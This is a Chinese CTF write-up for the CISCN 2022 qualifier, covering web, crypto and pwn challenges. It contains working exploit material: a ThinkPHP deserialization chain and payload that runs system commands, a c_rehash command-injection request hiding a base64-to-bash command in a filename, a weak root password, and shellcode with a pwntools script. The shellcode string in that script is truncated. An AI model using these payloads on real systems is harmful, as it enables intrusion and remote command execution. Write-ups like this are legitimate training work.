CISCN2022全国初赛题解WriteUp-MapleLeaves
MapleLeaves WriteUp
队员
Do1phln b477ery sfc9982 0HB
Web
Ezpop
thinkphp 6.0.12lts 存在反序列化漏洞 https://www.freebuf.com/vuls/321546.html
扫描可知 www.zip 存在源码泄露，下载后可知存在反序列化路由 /index.php/index/test
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
// $this->data = ['whoami' => ['ls /']];
$this->data = ['whoami' => ['tac /flag.txt']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
url: /index.php/index/test
post: a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22tac+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22tac+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D
online_crt
c_rehash 存在漏洞 https://www.secrss.com/articles/42602 CVE-2022-1292
先通过 /getcrt 获取文件名
再通过 /proxy 访问 go 服务更改文件名为命令
最后通过 /createlink 调用 c_rehash 执行命令
GET /proxy HTTP/1.1
Host: xxx:8888
Content-Length: 316
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://xxx:8888
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __jsluid_h=47deb9dd4ec6dca0063283f9453e7643
Connection: close
uri=/admin/%25%37%32%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%3foldname%3d24950c68-7018-4cd7-97c9-239cf4ecd3a7.crt%26newname%3d`touch%2b\`echo%2bY2F0IC9mKgo=|base64%2b-d|bash\``.crt HTTP/1.1
Host: admin
User-Agent: admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Crypto
电台签到
根据微信里公众号提示，找到密码本，进行模10运算，得到：
也根据微信里提示，先用BurpSuit抓包发s,然后修改再发上面的数字，即：
-
GET /send?msg=sJ HTTP/1.1 -
GET /send?msg=2975115315066710252297245914J HTTP/1.1
依次发包，获得flag。
基于挑战码的双向认证
有终端term与服务器server，用户alice拟通过term登录server，alice与server共享密钥key。为防止重放攻击，term与server间拟采取基于挑战码的双向认证协议，其过程如下所述：
- term生成随机数rA,并向server端发送。
- server端生成随机数rB，计算MB=SM3(key, rA||rB),并向term发送rB 与MB。
- term计算MB’= SM3(key, rA||rB),并与MB比较，若一致则确认服务器端正确。
- term计算MA=SM3(key,rB),并将MA发送给Server
- Server计算MA’=SM3(key,rB),并与MA比较,若一致则确认客户端登录正确。
客户端登录功能由user_client模块执行，服务器端登录功能由user_server模块执行。
完成user_client模块，并通过测试程序的验证。
使用 find / -name "*flag*"
可以找到位于 /root/cube-shell/instance/flag_server 下的：
/root/cube-shell/instance/flag_server/flag2.txt
/root/cube-shell/instance/flag_server/flag1.txt
/root/cube-shell/instance/flag_server/flag.list
可得到flag
基于挑战码的双向认证2
审计了位于src/login_user的系统源码。
修改了位于login_user模块的proc_login_response函数，完伪装待发送的（USER_DEFINE,LOGIN）数据完成认证过程。
先使用make
再执行login-challenge.sh启动评测
以player用户身份登入系统。题目提供测试环境与评分环境。两环境中均各有：
- 服务实例
cube-challenge/instance/server - 用户实例
cube-challenge/instance/user - 非法服务器实例
cube-challenge/instance/hacker_server
当Login时，hacker_server在没有密钥的情况下试图冒充正常服务器端
基于挑战码的双向认证3
进入虚拟机后，发现名为的Instance
注意到passwd用来存放认证相关数据（sm3计算结果），nonce则用来存放双方交换的随机数
使用覆盖率检查，各个声明中可能存在的缓冲区漏洞，以影响内存数据库，但未能成功利用。
最后，使用弱口令字典及模糊测试（Fuzz Test）
https://github.com/google/AFL
为了加速，应用补丁：
diff --git a/sshd.c b/sshd.c
--- a/sshd.c
+++ b/sshd.c
@@ -1840,6 +1840,8 @@ main(int ac, char **av)
/* ignore SIGPIPE */
signal(SIGPIPE, SIG_IGN);
+ __AFL_INIT();
+
/* Get a connection, either from inetd or a listening TCP socket */
if (inetd_flag) {
server_accept_inetd(&sock_in, &sock_out);
发现弱口令后，获得root用户权限（Password:toor）
提权后即可访问flag.txt文件
Pwn
login-normal
下载到文件sign后拖入IDA进行具体分析
首先对main模块进行分析
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char s[1032]; // [rsp+0h] [rbp-410h] BYREF
unsigned __int64 v4; // [rsp+408h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_C0A(a1, a2, a3);
while ( 1 )
{
memset(s, 0, 0x400uLL);
printf(">>> ");//输出提示符
read(0, s, 0x3FFuLL);//读入数据s，定长
sub_FFD(s);//调用函数
}
}
可以看出在read字符串s后便执行sub_FFD，继续跟进分析sub_FFD
unsigned __int64 __fastcall sub_FFD(_BYTE *a1)
{
char *sa; // [rsp+8h] [rbp-48h]
char *sb; // [rsp+8h] [rbp-48h]
char *sc; // [rsp+8h] [rbp-48h]
char *sd; // [rsp+8h] [rbp-48h]
char v7; // [rsp+17h] [rbp-39h]
int v8; // [rsp+1Ch] [rbp-34h]
int v9; // [rsp+2Ch] [rbp-24h]
void *dest; // [rsp+30h] [rbp-20h]
char *s1; // [rsp+38h] [rbp-18h]
char *nptr; // [rsp+40h] [rbp-10h]
unsigned __int64 v13; // [rsp+48h] [rbp-8h]
v13 = __readfsqword(0x28u);
memset(qword_202040, 0, sizeof(qword_202040));
v8 = 0;
v7 = 0;
dest = 0LL;
while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) )// 关于a[0]和a[1]的判定关系
{
if ( v8 <= 5 )
qword_202040[2 * v8] = a1; // 处理的位分别是0，8，16，24，32
sb = strchr(a1, 58); // 找到字符':'位置
if ( !sb )
{
puts("error.");
exit(1);
}
*sb = 0; // 将找到':'的位置数值变为0
for ( sc = sb + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc )// sc=sb的下一位，sc满足在范围内且等于指定字符
*sc = 0; // 当前字符置0
if ( !*sc )
{
puts("abort.");
exit(2);
}
if ( v8 <= 5 )
qword_202040[2 * v8 + 1] = sc; // (0,8,16,24,32)+1出来的值
sd = strchr(sc, '\n');
if ( !sd )
{
puts("error.");
exit(3);
}
*sd = 0; // 置零
a1 = sd + 1; // 首位置到sd的下一位
if ( *a1 == '\r' ) // 如果当前位是\r下一位置0
*a1++ = 0;
s1 = (char *)qword_202040[2 * v8]; // 0,8,16,24,32
nptr = (char *)qword_202040[2 * v8 + 1];
if ( !strcasecmp(s1, "opt") )
{
if ( v7 )
{ // 第一次opt退出
puts("error.");
exit(5);
}
v7 = atoi(nptr);
}
else
{
if ( strcasecmp(s1, "msg") ) // 是否是msg
{
puts("error.");
exit(4);
}
if ( strlen(nptr) <= 1 )
{
puts("error.");
exit(5);
}
v9 = strlen(nptr) - 1;
if ( dest )
{
puts("error.");
exit(5);
}
dest = calloc(v9 + 8, 1uLL);
if ( v9 <= 0 )
{
puts("error.");
exit(5);
}
memcpy(dest, nptr, v9);
}
++v8;
}
*a1 = 0;
sa = a1 + 1;
if ( *sa == '\n' ) // 如果是换行符就赋值0
*sa = 0;
switch ( v7 )
{
case 2:
sub_DA8((const char *)dest);
break;
case 3:
sub_EFE((const char *)dest);
break;
case 1:
sub_CBD((const char *)dest);
break;
default:
puts("error.");
exit(6);
}
return __readfsqword(0x28u) ^ v13;
}
由上述可知，要进行两次校验，在连接之后就需要先写通过校验才可以进行后续操作，即'opt:1\r\nmsg:ro0t\r\n和opt:2\r\nmsg:，且最终结尾必须是\r\n
绕过以后,进一步分析绕过之后执行的函数内容，sub_DA8函数内容如下
unsigned __int64 __fastcall sub_DA8(const char *a1)
{
unsigned int v1; // eax
size_t v2; // rax
int i; // [rsp+14h] [rbp-2Ch]
void *dest; // [rsp+18h] [rbp-28h]
unsigned __int64 v6; // [rsp+28h] [rbp-18h]
v6 = __readfsqword(0x28u);
for ( i = 0; i < strlen(a1); ++i )
{
if ( !isprint(a1[i]) && a1[i] != 10 )
{
puts("oh!");
exit(-1);
}
}
if ( unk_202028 != 1 )
{
puts("oh!");
exit(-1);
}
if ( unk_202024 )
{
v1 = getpagesize();
dest = (void *)(int)mmap((char *)&loc_FFE + 2, v1, 7, 34, 0, 0LL);
v2 = strlen(a1);
memcpy(dest, a1, v2);
((void (*)(void))dest)(); //shellcode利用转换执行
}
else
{
puts(a1);
}
return __readfsqword(0x28u) ^ v6;
}
因此可见只需要填充对应数组执行shellcode即可，直接找到相应的执行/bin/sh的shellcode如下：
push edx
push 0x36363630
push esp
pop ecx
xor dword ptr ds:[ecx],esi
xor esi,dword ptr ds:[ecx]
pop eax
push 0x33333333
xor dword ptr ds:[ecx],esi
imul esi,dword ptr ds:[ecx],0x33
pop eax
push 0x69
push esi
xor dword ptr ds:[ecx],esi
dec eax
arpl word ptr ds:[ecx],si
pop edx
pop eax
pop ecx
xor word ptr ds:[ecx+esi*2+0x49],dx
dec eax
cmp word ptr ds:[ebx+0x44],bp
jno short tested.004780A6
xor byte ptr ds:[edx],dh
inc esp
jno short tested.004780AC
xor byte ptr ds:[ecx+esi+0x48],al
jnz short tested.0047808D
dec ebp
xor al,byte ptr ds:[edi+0x30]
pop edx
xor ch,byte ptr ds:[edi+0x34]
dec eax
xor byte ptr ss:[ebp+0x30],dh
push eax
xor dword ptr ds:[esi],esi
xor byte ptr ds:[edx+0x30],bl
aaa
dec edi
xor byte ptr ds:[edx+0x30],bl
inc ebx
xor dword ptr ds:[eax],esi
xor byte ptr ds:[ecx+0x35],bh
dec edi
xor eax,dword ptr ds:[edi+0x30]
xor dh,byte ptr ds:[eax]
inc edx
xor ch,byte ptr ds:[esi+0x30]
xor byte ptr ss:[esi+0x34],cl
jno short tested.004780B8
outs dx,byte ptr es:[edi]
xor dh,byte ptr ds:[eax+esi+0x42]
xor byte ptr ds:[eax],dh
xor byte ptr ds:[ecx],dh
xor byte ptr ds:[ecx],dh
xor byte ptr ds:[eax+0x33],cl
push ebx
xor bh,byte ptr ds:[ecx+0x30]
pop ecx
xor byte ptr ds:[edi+0x30],cl
outs dx,byte ptr es:[edi]
xor byte ptr ds:[edx+0x30],bh
xor dword ptr ds:[ebx],esi
xor al,0x30
xor al,byte ptr fs:[esi+0x34]
jns short tested.004780E4
push eax
xor dword ptr ds:[ecx],esi
xor eax,0x306E316C
dec edx
xor byte ptr ds:[eax+0x30],ch
popad
xor byte ptr ds:[edi],dh
xor byte ptr ds:[eax+eax],dh
add bh,bh
add byte ptr ds:[eax],al
add bh,bh
pop eax
inc ecx
然后即可写出最终的poc
#!/usr/bin/env python
#coding=utf-8
from pwn import*
ip = ""
port =
io = remote(ip,port)
libc = ELF('./libc-2.23.so')
io.recvuntil(">>>")
io.sendline('opt:1\r\nmsg:ro0t\r\n') ##绕过1
shellcode = 'Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
io.recvuntil(">>>")
io.sendline('opt:2\r\nmsg:'+shellcode+'\r\n') #poc
io.interactive()
经过测试，成功进入交互模式，使用cat flag即可得到flag